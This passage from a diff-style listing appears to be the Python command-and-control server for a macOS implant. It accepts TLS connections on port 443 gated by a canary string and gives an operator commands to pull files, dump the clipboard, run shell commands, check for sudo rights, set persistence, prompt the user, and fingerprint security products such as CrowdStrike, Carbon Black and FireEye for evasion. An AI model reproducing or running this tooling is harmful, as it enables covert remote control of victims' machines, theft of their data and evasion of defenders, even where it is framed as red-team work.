elif 'download ' in command:
|
|
532
|
+
command2 = command.replace('download ', '')
|
|
533
|
+
connection.send(command.encode('utf8'))
|
|
534
|
+
data = connection.recv(8192)
|
|
535
|
+
denied = bytes('Permission denied', encoding='utf-8')
|
|
536
|
+
if denied in data:
|
|
537
|
+
print('\033[93m[-] This user does not have permissions to open %s' % str(command2))
|
|
538
|
+
elif len(data) < 8192:
|
|
539
|
+
file = "%s" % str(command2)
|
|
540
|
+
f = open("%s" % file, "wb")
|
|
541
|
+
f.write(data)
|
|
542
|
+
f.close()
|
|
543
|
+
print('\033[93m[+] %s downloaded and saved to current server directory\033[0m' % str(command2))
|
|
544
|
+
|
|
545
|
+
else:
|
|
546
|
+
while True:
|
|
547
|
+
g = connection.recv(8192)
|
|
548
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
549
|
+
if end in g:
|
|
550
|
+
break
|
|
551
|
+
data = data + g
|
|
552
|
+
file = "%s" % str(command2)
|
|
553
|
+
f = open("%s" % file, "wb")
|
|
554
|
+
f.write(data)
|
|
555
|
+
f.close()
|
|
556
|
+
print('\033[93m[+] %s downloaded and saved to current server directory\033[0m' % str(command2))
|
|
557
|
+
|
|
558
|
+
elif 'checksecurity' in command:
|
|
559
|
+
connection.send(command.encode('utf8'))
|
|
560
|
+
data = connection.recv(8192)
|
|
561
|
+
|
|
562
|
+
if len(data) < 8192:
|
|
563
|
+
b = 0
|
|
564
|
+
|
|
565
|
+
if 'CbOsxSensorService' in str(data):
|
|
566
|
+
print('[+] \033[33mCarbon Black OSX Sensor installed\033[0m')
|
|
567
|
+
b = 1
|
|
568
|
+
|
|
569
|
+
if 'CbDefense' in str(data):
|
|
570
|
+
print('[+] \033[33mCarbon Black Defense A/V installed\033[0m')
|
|
571
|
+
b = 1
|
|
572
|
+
|
|
573
|
+
if ('ESET' in str(data) or '/eset' in str(data)):
|
|
574
|
+
print('[+] \033[33mESET A/V installed\033[0m')
|
|
575
|
+
b = 1
|
|
576
|
+
|
|
577
|
+
if ('Littlesnitch' in str(data) or 'Snitch' in str(data)):
|
|
578
|
+
print('[+] \033[33mLittle snitch firewall running\033[0m')
|
|
579
|
+
b = 1
|
|
580
|
+
|
|
581
|
+
if 'xagt' in str(data):
|
|
582
|
+
print('[+] \033[33mFireEye HX agent installed\033[0m')
|
|
583
|
+
b = 1
|
|
584
|
+
|
|
585
|
+
if 'falconctl' in str(data):
|
|
586
|
+
print('[+] \033[33mCrowdstrike Falcon agent installed\033[0m')
|
|
587
|
+
b = 1
|
|
588
|
+
|
|
589
|
+
if ('GlobalProtect' in str(data) or '/PanGPS' in str(data)):
|
|
590
|
+
print('[+] \033[33mGlobal Protect PAN VPN client running\033[0m')
|
|
591
|
+
b = 1
|
|
592
|
+
|
|
593
|
+
if 'OpenDNS' in str(data):
|
|
594
|
+
print('[+] \033[33mOpenDNS Client running\033[0m')
|
|
595
|
+
b = 1
|
|
596
|
+
|
|
597
|
+
if 'HostChecker' in str(data):
|
|
598
|
+
print('[+] \033[33mPulse VPN client running\033[0m')
|
|
599
|
+
b = 1
|
|
600
|
+
|
|
601
|
+
if b == 0:
|
|
602
|
+
print('[-] No security products found.')
|
|
603
|
+
|
|
604
|
+
else:
|
|
605
|
+
while True:
|
|
606
|
+
g = connection.recv(8192)
|
|
607
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
608
|
+
if end in g:
|
|
609
|
+
break
|
|
610
|
+
data = data + g
|
|
611
|
+
|
|
612
|
+
if 'CbOsxSensorService' in str(data):
|
|
613
|
+
print('[+] \033[33mCarbon Black OSX Sensor installed\033[0m')
|
|
614
|
+
b = 1
|
|
615
|
+
|
|
616
|
+
if 'CbDefense' in str(data):
|
|
617
|
+
print('[+] \033[33mCarbon Black Defense A/V installed\033[0m')
|
|
618
|
+
b = 1
|
|
619
|
+
|
|
620
|
+
if ('ESET' in str(data) or '/eset' in str(data)):
|
|
621
|
+
print('[+] \033[33mESET A/V installed\033[0m')
|
|
622
|
+
b = 1
|
|
623
|
+
|
|
624
|
+
if ('Littlesnitch' in str(data) or 'Snitch' in str(data)):
|
|
625
|
+
print('[+] \033[33mLittle snitch firewall running\033[0m')
|
|
626
|
+
b = 1
|
|
627
|
+
|
|
628
|
+
if 'xagt' in str(data):
|
|
629
|
+
print('[+] \033[33mFireEye HX agent installed\033[0m')
|
|
630
|
+
b = 1
|
|
631
|
+
|
|
632
|
+
if 'falconctl' in str(data):
|
|
633
|
+
print('[+] \033[33mCrowdstrike Falcon agent installed\033[0m')
|
|
634
|
+
b = 1
|
|
635
|
+
|
|
636
|
+
if ('GlobalProtect' in str(data) or '/PanGPS' in str(data)):
|
|
637
|
+
print('[+] \033[33mGlobal Protect PAN VPN client running\033[0m')
|
|
638
|
+
b = 1
|
|
639
|
+
|
|
640
|
+
if 'OpenDNS' in str(data):
|
|
641
|
+
print('[+] \033[33mOpenDNS Client running\033[0m')
|
|
642
|
+
b = 1
|
|
643
|
+
|
|
644
|
+
if 'HostChecker' in str(data):
|
|
645
|
+
print('[+] \033[33mPulse VPN client running\033[0m')
|
|
646
|
+
b = 1
|
|
647
|
+
|
|
648
|
+
if b == 0:
|
|
649
|
+
print('[-] No security products found.')
|
|
650
|
+
|
|
651
|
+
elif 'persist' in command:
|
|
652
|
+
connection.send(command.encode('utf8'))
|
|
653
|
+
y = connection.recv(2048)
|
|
654
|
+
z = y.decode('utf8').replace("(0, '", '').replace("')",'')
|
|
655
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
656
|
+
elif 'unpersist' in command:
|
|
657
|
+
connection.send(command.encode('utf8'))
|
|
658
|
+
response = connection.recv(2048)
|
|
659
|
+
z = response.decode('utf8').replace("(0, '", '').replace("')",'')
|
|
660
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
661
|
+
elif 'prompt' in command:
|
|
662
|
+
connection.send(command.encode('utf8'))
|
|
663
|
+
w = connection.recv(8192)
|
|
664
|
+
z = w.decode('utf8').replace("(0, '", '').replace("')", '')
|
|
665
|
+
print(str(z))
|
|
666
|
+
elif 'systeminfo' in command:
|
|
667
|
+
connection.send(command.encode('utf8'))
|
|
668
|
+
w = connection.recv(1024)
|
|
669
|
+
z = w.decode('utf8').replace("(0, '", '').replace("')",'').replace(", ", '\n')
|
|
670
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
671
|
+
elif 'clipboard' in command:
|
|
672
|
+
connection.send(command.encode('utf8'))
|
|
673
|
+
data = connection.recv(8192)
|
|
674
|
+
if len(data) < 8192:
|
|
675
|
+
f = open('clipboard.txt','w')
|
|
676
|
+
f.write(data.decode('utf8').replace("(0, '", '').replace("')",''))
|
|
677
|
+
f.close()
|
|
678
|
+
print("\033[93m[+] Clipboard data written to 'clipboard.txt' in the current server directory.\033[0m")
|
|
679
|
+
else:
|
|
680
|
+
while True:
|
|
681
|
+
g = connection.recv(8192)
|
|
682
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
683
|
+
if end in g:
|
|
684
|
+
break
|
|
685
|
+
data = data + g
|
|
686
|
+
f = open('clipboard.txt','w')
|
|
687
|
+
f.write(data.decode('utf8').replace("(0, '", '').replace("')",''))
|
|
688
|
+
f.close()
|
|
689
|
+
print("\033[93m[+] Clipboard data written to 'clipboard.txt' in the current server directory.\033[0m")
|
|
690
|
+
elif 'shell ' in command:
|
|
691
|
+
connection.send(command.encode('utf8'))
|
|
692
|
+
data = connection.recv(8192)
|
|
693
|
+
if len(data) < 8192:
|
|
694
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n")
|
|
695
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
696
|
+
if '80(admin)' in str(z):
|
|
697
|
+
print("Your user context likely has sudo rights (based on groups).")
|
|
698
|
+
else:
|
|
699
|
+
while True:
|
|
700
|
+
g = connection.recv(8192)
|
|
701
|
+
end = bytes('!EOF!', encoding='utf-8')
|
|
702
|
+
if end in g:
|
|
703
|
+
break
|
|
704
|
+
data = data + g
|
|
705
|
+
z = data.decode('utf8').replace("\\n", '\n').replace("(0, '", '').replace("')",'').replace(", ", "\n")
|
|
706
|
+
print("\033[92m%s\033[0m" % str(z))
|
|
707
|
+
if '80(admin)' in str(z):
|
|
708
|
+
print("Your user context likely has sudo rights (based on groups).")
|
|
709
|
+
else:
|
|
710
|
+
print("[-] Command not found")
|
|
711
|
+
|
|
712
|
+
if not connection:
|
|
713
|
+
break
|
|
714
|
+
|
|
715
|
+
|
|
716
|
+
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
|
717
|
+
context.load_cert_chain('ca.pem','ca.key')
|
|
718
|
+
host = '0.0.0.0'
|
|
719
|
+
port = 443
|
|
720
|
+
srvport = port
|
|
721
|
+
session = 0
|
|
722
|
+
q = Queue()
|
|
723
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
724
|
+
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
725
|
+
ssock = context.wrap_socket(s, server_side=True)
|
|
726
|
+
|
|
727
|
+
try:
|
|
728
|
+
ssock.bind((host,port))
|
|
729
|
+
except:
|
|
730
|
+
print("Bind failed. Error: %s" % (str(sys.exc_info)))
|
|
731
|
+
sys.exit()
|
|
732
|
+
|
|
733
|
+
threads = []
|
|
734
|
+
print('')
|
|
735
|
+
print('===>Server listening on port %s<====' % str(port))
|
|
736
|
+
print('')
|
|
737
|
+
|
|
738
|
+
|
|
739
|
+
while True:
|
|
740
|
+
ssock.listen(20)
|
|
741
|
+
(connection, (ip,port)) = ssock.accept()
|
|
742
|
+
canary = connection.recv(16).decode('utf8')
|
|
743
|
+
|
|
744
|
+
if 'SwiftShellR0ckZ!' in canary:
|
|
745
|
+
q.put(connection)
|
|
746
|
+
session = session + 1
|
|
747
|
+
selector = session - 1
|
|
748
|
+
conn = q.get(selector)
|
|
749
|
+
newthread = ClientThread(ip,port,connection,session,srvport)
|
|
750
|
+
threads.append(newthread)
|
|
751
|
+
try:
|
|
752
|
+
newthread.start()
|
|
753
|
+
except:
|
|
754
|
+
print("Thread did not start.")
|
|
755
|
+
traceback.print_exc()
|
|
756
|
+
else:
|
|
757
|
+
connection.shutdown(1)
|
|
758
|
+
connection.close()
|
|
759
|
+
|
|
760
|
+
|
|
761
|
+
|
|
762
|
+
for t in threads:
|
|
763
|
+
t.join()
|